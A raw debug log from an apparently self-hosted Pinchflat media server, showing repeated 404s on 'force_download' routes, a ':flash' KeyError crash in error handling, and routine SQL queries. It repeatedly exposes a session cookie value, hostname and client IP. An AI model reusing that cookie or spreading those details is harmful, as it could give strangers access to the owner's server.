"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163110.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48780}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163111.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], pat (truncated) 17:53:44.263 [info] GET /sources/2/media/472253 17:53:44.263 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "472253", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 17:53:44.264 [info] GET /media/8621989f-713f-410e-a929-2353fcfa6b43/stream 17:53:44.264 [info] GET /sources/2/media/366904/force_download 17:53:44.264 [info] GET /sources/2/media/366904 17:53:44.264 [info] GET /sources/2/media/472253/force_download 17:53:44.265 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "8621989f-713f-410e-a929-2353fcfa6b43", "v" => "1787018556"} Pipelines: [:maybe_basic_auth] 17:53:44.265 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "366904", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 17:53:44.265 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=134.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 17:53:44.265 [debug] QUERY OK source="settings" db=0.2ms idle=134.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.266 [debug] QUERY OK source="settings" db=0.3ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.266 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.266 [debug] QUERY OK source="tasks" db=0.8ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [472253] 17:53:44.266 [debug] QUERY OK source="media_items" db=1.4ms idle=112.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 17:53:44.267 [debug] QUERY OK source="settings" db=1.7ms queue=0.1ms idle=134.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.267 [debug] QUERY OK source="sources" db=1.3ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:44.267 [debug] QUERY OK source="media_items" db=1.9ms idle=113.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["8621989f-713f-410e-a929-2353fcfa6b43"] 17:53:44.268 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.268 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.268 [debug] QUERY OK source="sources" db=0.5ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:44.268 [debug] Invalid range request for media item: 8621989f-713f-410e-a929-2353fcfa6b43 - serving full file 17:53:44.268 [debug] QUERY OK source="tasks" db=0.4ms queue=0.2ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [366904] 17:53:44.268 [info] Sent 200 in 4ms 17:53:44.268 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=0.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16507, 16788] 17:53:44.269 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [13037, 13319] 17:53:44.270 [debug] QUERY OK source="settings" db=0.6ms queue=0.5ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.270 [debug] QUERY OK source="settings" db=0.4ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.270 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.271 [debug] QUERY OK source="settings" db=0.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.271 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.268 [error] #PID<0.163121.0> running PinchflatWeb.Endpoint (connection #PID<0.163120.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/472253/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163120.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163121.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/472253/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT8FqBNl2XVwAFpmh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163120.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163120.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163121.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], pat (truncated) 17:53:44.271 [debug] QUERY OK source="settings" db=0.4ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.272 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.272 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.273 [info] Sent 200 in 10ms 17:53:44.266 [error] #PID<0.163117.0> running PinchflatWeb.Endpoint (connection #PID<0.163116.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/366904/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163116.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48804}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163117.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/366904/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT8Fj3OohVBUAFplh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163116.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48804}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163116.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48804}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163117.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], pat (truncated) 17:53:44.280 [info] Sent 200 in 15ms 17:53:44.365 [info] GET /sources/2/media/366904/force_download 17:53:44.365 [debug] QUERY OK source="settings" db=0.1ms idle=94.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.365 [debug] QUERY OK source="settings" db=0.0ms idle=94.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.365 [debug] 